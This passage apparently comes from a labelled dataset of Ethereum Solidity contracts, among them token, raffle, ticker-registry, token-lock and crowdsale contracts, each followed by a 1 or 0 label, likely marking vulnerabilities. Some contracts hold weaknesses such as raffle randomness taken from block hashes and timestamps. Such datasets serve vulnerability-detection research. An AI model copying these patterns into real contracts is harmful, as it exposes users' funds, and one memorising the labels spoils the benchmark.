uint256(SafeMath.div(SafeMath.mul(sellPrice, athleteIndexToSiteFee[_tokenId]), 100)); uint256 payment = uint256(SafeMath.sub(sellPrice, SafeMath.add(actualFee, siteFee))); _transfer(sellOwner, buyOwner, _tokenId); if ( sellOwner != address(this) ) { sellOwner.transfer(payment); } TokenSold(_tokenId, sellPrice, sellOwner, buyOwner, athletes[_tokenId].athleteId); address actualWallet = athleteIndexToActualWalletId[_tokenId]; actualWallet.transfer(actualFee); ceoAddress.transfer(siteFee); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return athleteIndexToPrice[_tokenId]; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } function symbol() public pure returns (string) { return SYMBOL; } function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = athleteIndexToOwner[_tokenId]; require(_addressNotNull(newOwner)); require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } function tokenOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if ( tokenCount == 0 ) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalAthletes = totalSupply(); uint256 resultIndex = 0; uint256 athleteId; for(athleteId = 0; athleteId <= totalAthletes; athleteId++) { if (athleteIndexToOwner[athleteId] == _owner) { result[resultIndex] = athleteId; resultIndex++; } } return result; } } function totalSupply() public view returns (uint256 total) { return athletes.length; } function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return athleteIndexToApproved[_tokenId] == _to; } function _createOfAthlete(address _athleteOwner, string _athleteId, address _actualAddress, uint256 _actualFee, uint256 _siteFee, uint256 _sellPrice) private { bool _verified = true; if ( _sellPrice <= 0 ) { _sellPrice = initPrice; } if ( _actualAddress == address(0) ){ _actualAddress = ceoAddress; _verified = false; } Athlete memory _athlete = Athlete({ athleteId: _athleteId, actualAddress: _actualAddress, actualFee: _actualFee, siteFee: _siteFee, sellPrice: _sellPrice, isVerified: _verified }); uint256 newAthleteId = athletes.push(_athlete) - 1; require(newAthleteId == uint256(uint32(newAthleteId))); Birth(newAthleteId, _athleteOwner); athleteIndexToPrice[newAthleteId] = _sellPrice; athleteIndexToActualFee[newAthleteId] = _actualFee; athleteIndexToSiteFee[newAthleteId] = _siteFee; athleteIndexToActualWalletId[newAthleteId] = _actualAddress; athleteIndexToAthleteID[newAthleteId] = _athleteId; athleteIndexToAthlete[newAthleteId] = _athlete; athleteIndexToAthleteVerificationState[newAthleteId] = _verified; _transfer(address(0), _athleteOwner, newAthleteId); } function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == athleteIndexToOwner[_tokenId]; } function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; athleteIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete athleteIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } }
1
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SOLOBOT { string public name = 'SOLOBOT'; string public symbol = 'BOT'; uint8 public decimals = 8; uint256 public totalSupply = 40000000000000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function SOLOBOT(){ balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ITickerRegistry { function checkValidity(string _symbol, address _owner, string _tokenName) public returns(bool); function getDetails(string _symbol) public view returns (address, uint256, string, bytes32, bool); function isReserved(string _symbol, address _owner, string _tokenName, bytes32 _swarmHash) public returns(bool); } contract Util { function upper(string _base) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { bytes1 b1 = _baseBytes[i]; if (b1 >= 0x61 && b1 <= 0x7A) { b1 = bytes1(uint8(b1)-32); } _baseBytes[i] = b1; } return string(_baseBytes); } } contract Pausable { event Pause(uint256 _timestammp); event Unpause(uint256 _timestamp); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function _pause() internal { require(!paused); paused = true; emit Pause(now); } function _unpause() internal { require(paused); paused = false; emit Unpause(now); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ReclaimTokens is Ownable { function reclaimERC20(address _tokenContract) external onlyOwner { require(_tokenContract != address(0)); ERC20Basic token = ERC20Basic(_tokenContract); uint256 balance = token.balanceOf(address(this)); require(token.transfer(owner, balance)); } } contract PolymathRegistry is ReclaimTokens { mapping (bytes32 => address) public storedAddresses; event LogChangeAddress(string _nameKey, address indexed _oldAddress, address indexed _newAddress); function getAddress(string _nameKey) view public returns(address) { bytes32 key = keccak256(bytes(_nameKey)); require(storedAddresses[key] != address(0), "Invalid address key"); return storedAddresses[key]; } function changeAddress(string _nameKey, address _newAddress) public onlyOwner { bytes32 key = keccak256(bytes(_nameKey)); emit LogChangeAddress(_nameKey, storedAddresses[key], _newAddress); storedAddresses[key] = _newAddress; } } contract RegistryUpdater is Ownable { address public polymathRegistry; address public moduleRegistry; address public securityTokenRegistry; address public tickerRegistry; address public polyToken; constructor (address _polymathRegistry) public { require(_polymathRegistry != address(0)); polymathRegistry = _polymathRegistry; } function updateFromRegistry() onlyOwner public { moduleRegistry = PolymathRegistry(polymathRegistry).getAddress("ModuleRegistry"); securityTokenRegistry = PolymathRegistry(polymathRegistry).getAddress("SecurityTokenRegistry"); tickerRegistry = PolymathRegistry(polymathRegistry).getAddress("TickerRegistry"); polyToken = PolymathRegistry(polymathRegistry).getAddress("PolyToken"); } } contract TickerRegistry is ITickerRegistry, Util, Pausable, RegistryUpdater, ReclaimTokens { using SafeMath for uint256; uint256 public expiryLimit = 15 * 1 days; struct SymbolDetails { address owner; uint256 timestamp; string tokenName; bytes32 swarmHash; bool status; } mapping(string => SymbolDetails) registeredSymbols; event LogRegisterTicker(address indexed _owner, string _symbol, string _name, bytes32 _swarmHash, uint256 indexed _timestamp); event LogChangeExpiryLimit(uint256 _oldExpiry, uint256 _newExpiry); uint256 public registrationFee; event LogChangePolyRegisterationFee(uint256 _oldFee, uint256 _newFee); constructor (address _polymathRegistry, uint256 _registrationFee) public RegistryUpdater(_polymathRegistry) { registrationFee = _registrationFee; } function registerTicker(address _owner, string _symbol, string _tokenName, bytes32 _swarmHash) public whenNotPaused { require(_owner != address(0), "Owner should not be 0x"); require(bytes(_symbol).length > 0 && bytes(_symbol).length <= 10, "Ticker length should always between 0 & 10"); if(registrationFee > 0) require(ERC20(polyToken).transferFrom(msg.sender, this, registrationFee), "Failed transferFrom because of sufficent Allowance is not provided"); string memory symbol = upper(_symbol); require(expiryCheck(symbol), "Ticker is already reserved"); registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, false); emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now); } function changeExpiryLimit(uint256 _newExpiry) public onlyOwner { require(_newExpiry >= 1 days, "Expiry should greater than or equal to 1 day"); uint256 _oldExpiry = expiryLimit; expiryLimit = _newExpiry; emit LogChangeExpiryLimit(_oldExpiry, _newExpiry); } function checkValidity(string _symbol, address _owner, string _tokenName) public returns(bool) { string memory symbol = upper(_symbol); require(msg.sender == securityTokenRegistry, "msg.sender should be SecurityTokenRegistry contract"); require(registeredSymbols[symbol].status != true, "Symbol status should not equal to true"); require(registeredSymbols[symbol].owner == _owner, "Owner of the symbol should matched with the requested issuer address"); require(registeredSymbols[symbol].timestamp.add(expiryLimit) >= now, "Ticker should not be expired"); registeredSymbols[symbol].tokenName = _tokenName; registeredSymbols[symbol].status = true; return true; } function isReserved(string _symbol, address _owner, string _tokenName, bytes32 _swarmHash) public returns(bool) { string memory symbol = upper(_symbol); require(msg.sender == securityTokenRegistry, "msg.sender should be SecurityTokenRegistry contract"); if (registeredSymbols[symbol].owner == _owner && !expiryCheck(_symbol)) { registeredSymbols[symbol].status = true; return false; } else if (registeredSymbols[symbol].owner == address(0) || expiryCheck(symbol)) { registeredSymbols[symbol] = SymbolDetails(_owner, now, _tokenName, _swarmHash, true); emit LogRegisterTicker (_owner, symbol, _tokenName, _swarmHash, now); return false; } else return true; } function getDetails(string _symbol) public view returns (address, uint256, string, bytes32, bool) { string memory symbol = upper(_symbol); if (registeredSymbols[symbol].status == true||registeredSymbols[symbol].timestamp.add(expiryLimit) > now) { return ( registeredSymbols[symbol].owner, registeredSymbols[symbol].timestamp, registeredSymbols[symbol].tokenName, registeredSymbols[symbol].swarmHash, registeredSymbols[symbol].status ); }else return (address(0), uint256(0), "", bytes32(0), false); } function expiryCheck(string _symbol) internal returns(bool) { if (registeredSymbols[_symbol].owner != address(0)) { if (now > registeredSymbols[_symbol].timestamp.add(expiryLimit) && registeredSymbols[_symbol].status != true) { registeredSymbols[_symbol] = SymbolDetails(address(0), uint256(0), "", bytes32(0), false); return true; }else return false; } return true; } function changePolyRegisterationFee(uint256 _registrationFee) public onlyOwner { require(registrationFee != _registrationFee); emit LogChangePolyRegisterationFee(registrationFee, _registrationFee); registrationFee = _registrationFee; } function unpause() public onlyOwner { _unpause(); } function pause() public onlyOwner { _pause(); } }
0
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AccessAdmin is Ownable { mapping (address => bool) adminContracts; mapping (address => bool) actionContracts; function setAdminContract(address _addr, bool _useful) public onlyOwner { require(_addr != address(0)); adminContracts[_addr] = _useful; } modifier onlyAdmin { require(adminContracts[msg.sender]); _; } function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { actionContracts[_actionAddr] = _useful; } modifier onlyAccess() { require(actionContracts[msg.sender]); _; } } interface CardsInterface { function balanceOf(address player) public constant returns(uint256); function updatePlayersCoinByOut(address player) external; function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public; function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; } interface RareInterface { function getRareItemsOwner(uint256 rareId) external view returns (address); function getRareItemsPrice(uint256 rareId) external view returns (uint256); function getRareInfo(uint256 _tokenId) external view returns ( uint256 sellingPrice, address owner, uint256 nextPrice, uint256 rareClass, uint256 cardId, uint256 rareValue ); function transferToken(address _from, address _to, uint256 _tokenId) external; function transferTokenByContract(uint256 _tokenId,address _to) external; function setRarePrice(uint256 _rareId, uint256 _price) external; function rareStartPrice() external view returns (uint256); } contract CardsRaffle is AccessAdmin { using SafeMath for SafeMath; function CardsRaffle() public { setAdminContract(msg.sender,true); setActionContract(msg.sender,true); } CardsInterface public cards ; RareInterface public rare; function setCardsAddress(address _address) external onlyOwner { cards = CardsInterface(_address); } function setRareAddress(address _address) external onlyOwner { rare = RareInterface(_address); } function getRareAddress() public view returns (address) { return rare; } event UnitBought(address player, uint256 unitId, uint256 amount); event RaffleSuccessful(address winner); struct TicketPurchases { TicketPurchase[] ticketsBought; uint256 numPurchases; uint256 raffleRareId; } struct TicketPurchase { uint256 startId; uint256 endId; } mapping(address => TicketPurchases) private ticketsBoughtByPlayer; mapping(uint256 => address[]) private rafflePlayers; uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000; uint256 private raffleEndTime; uint256 private raffleRareId; uint256 private raffleTicketsBought; address private raffleWinner; bool private raffleWinningTicketSelected; uint256 private raffleTicketThatWon; function buyRaffleTicket(uint256 amount) external { require(raffleEndTime >= block.timestamp); require(amount > 0); uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount); require(cards.balanceOf(msg.sender) >= ticketsCost); cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost); TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender]; if (purchases.raffleRareId != raffleRareId) { purchases.numPurchases = 0; purchases.raffleRareId = raffleRareId; rafflePlayers[raffleRareId].push(msg.sender); } if (purchases.numPurchases == purchases.ticketsBought.length) { purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1); } purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount); UnitBought(msg.sender,raffleRareId,amount); } function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin { require(rareId>0); require(rare.getRareItemsOwner(rareId) == getRareAddress()); require(block.timestamp < endTime); if (raffleRareId != 0) { require(raffleWinner != 0); } raffleWinningTicketSelected = false; raffleTicketThatWon = 0; raffleWinner = 0; raffleTicketsBought = 0; raffleEndTime = endTime; raffleRareId = rareId; } function awardRafflePrize(address checkWinner, uint256 checkIndex) external { require(raffleEndTime < block.timestamp); require(raffleWinner == 0); require(rare.getRareItemsOwner(raffleRareId) == getRareAddress()); if (!raffleWinningTicketSelected) { drawRandomWinner(); } if (checkWinner != 0) { TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner]; if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) { TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex]; if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) { assignRafflePrize(checkWinner); return; } } } for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) { address player = rafflePlayers[raffleRareId][i]; TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; uint256 endIndex = playersTickets.numPurchases - 1; if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) { for (uint256 j = 0; j < playersTickets.numPurchases; j++) { TicketPurchase storage playerTicket = playersTickets.ticketsBought[j]; if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) { assignRafflePrize(player); return; } } } } } function assignRafflePrize(address winner) internal { raffleWinner = winner; uint256 newPrice = (rare.rareStartPrice() * 25) / 20; rare.transferTokenByContract(raffleRareId,winner); rare.setRarePrice(raffleRareId,newPrice); cards.updatePlayersCoinByOut(winner); uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; (,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId); cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue); RaffleSuccessful(winner); } function drawRandomWinner() public onlyAdmin { require(raffleEndTime < block.timestamp); require(!raffleWinningTicketSelected); uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp); raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought); raffleWinningTicketSelected = true; } function getRafflePlayers(uint256 raffleId) external constant returns (address[]) { return (rafflePlayers[raffleId]); } function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) { TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; if (playersTickets.raffleRareId == raffleRareId) { uint256[] memory startIds = new uint256[](playersTickets.numPurchases); uint256[] memory endIds = new uint256[](playersTickets.numPurchases); for (uint256 i = 0; i < playersTickets.numPurchases; i++) { startIds[i] = playersTickets.ticketsBought[i].startId; endIds[i] = playersTickets.ticketsBought[i].endId; } } return (startIds, endIds); } function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) { return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28857600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xcF7Fe9Df12b2433fe1766B452AB260CfC5875447; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27820800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x1C252CFeB89Cf1e41Cb0B812c3abFb5bc31f8703; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract LightcashCryptoToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = 'Lightcash crypto'; string public constant symbol = 'LCCT'; uint32 public constant decimals = 18; bool public mintingFinished = false; address public saleAgent; mapping(address => bool) public authorized; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address from, address to, uint256 value) public returns (bool) { return processCallback(super.transferFrom(from, to, value), from, to, value); } function setSaleAgent(address newSaleAgent) public { require(saleAgent == msg.sender || owner == msg.sender); saleAgent = newSaleAgent; } function mint(address _to, uint256 _amount) public returns (bool) { require(!mintingFinished); require(msg.sender == saleAgent); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(address(0), _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() public returns (bool) { require(!mintingFinished); require(msg.sender == owner || msg.sender == saleAgent); mintingFinished = true; MintFinished(); return true; } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } contract CommonTokenEvent is Ownable { using SafeMath for uint; uint public constant PERCENT_RATE = 100; uint public price; uint public start; uint public period; uint public minPurchaseLimit; uint public minted; uint public hardcap; uint public invested; uint public referrerPercent; uint public maxReferrerTokens; address public directMintAgent; address public wallet; LightcashCryptoToken public token; modifier canMint() { require(now >= start && now < lastSaleDate() && msg.value >= minPurchaseLimit && minted < hardcap); _; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } function sendReferrerTokens(uint tokens) internal { if (msg.data.length == 20) { address referrer = bytesToAddres(bytes(msg.data)); require(referrer != address(token) && referrer != msg.sender); uint referrerTokens = tokens.mul(referrerPercent).div(PERCENT_RATE); if(referrerTokens > maxReferrerTokens) { referrerTokens = maxReferrerTokens; } mintAndSendTokens(referrer, referrerTokens); } } function bytesToAddres(bytes source) internal pure returns(address) { uint result; uint mul = 1; for (uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function setMaxReferrerTokens(uint newMaxReferrerTokens) public onlyOwner { maxReferrerTokens = newMaxReferrerTokens; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } function setToken(address newToken) public onlyOwner { token = LightcashCryptoToken(newToken); } function setReferrerPercent(uint newReferrerPercent) public onlyOwner { referrerPercent = newReferrerPercent; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } function lastSaleDate() public view returns(uint) { return start + period * 1 days; } function setMinPurchaseLimit(uint newMinPurchaseLimit) public onlyOwner { minPurchaseLimit = newMinPurchaseLimit; } function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function directMint(address to, uint investedWei) public onlyDirectMintAgentOrOwner { calculateAndTransferTokens(to, investedWei); } function directMintTokens(address to, uint count) public onlyDirectMintAgentOrOwner { mintAndSendTokens(to, count); } function mintAndSendTokens(address to, uint amount) internal { token.mint(to, amount); minted = minted.add(amount); } function calculateAndTransferTokens(address to, uint investedInWei) internal returns(uint) { uint tokens = calculateTokens(investedInWei); mintAndSendTokens(to, tokens); invested = invested.add(investedInWei); return tokens; } function calculateAndTransferTokensWithReferrer(address to, uint investedInWei) internal { uint tokens = calculateAndTransferTokens(to, investedInWei); sendReferrerTokens(tokens); } function calculateTokens(uint investedInWei) public view returns(uint); function createTokens() public payable; function() external payable { createTokens(); } function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } contract PreTGE is CommonTokenEvent { uint public softcap; bool public refundOn; bool public softcapAchieved; address public nextSaleAgent; mapping (address => uint) public balances; event RefundsEnabled(); event SoftcapReached(); event Refunded(address indexed beneficiary, uint256 weiAmount); function setPeriod(uint newPeriod) public onlyOwner { period = newPeriod; } function calculateTokens(uint investedInWei) public view returns(uint) { return investedInWei.mul(price).div(1 ether); } function setNextSaleAgent(address newNextSaleAgent) public onlyOwner { nextSaleAgent = newNextSaleAgent; } function setSoftcap(uint newSoftcap) public onlyOwner { softcap = newSoftcap; } function refund() public { require(now > start && refundOn && balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); Refunded(msg.sender, value); } function widthraw() public { require(softcapAchieved); wallet.transfer(this.balance); } function createTokens() public payable canMint { balances[msg.sender] = balances[msg.sender].add(msg.value); super.calculateAndTransferTokensWithReferrer(msg.sender, msg.value); if (!softcapAchieved && 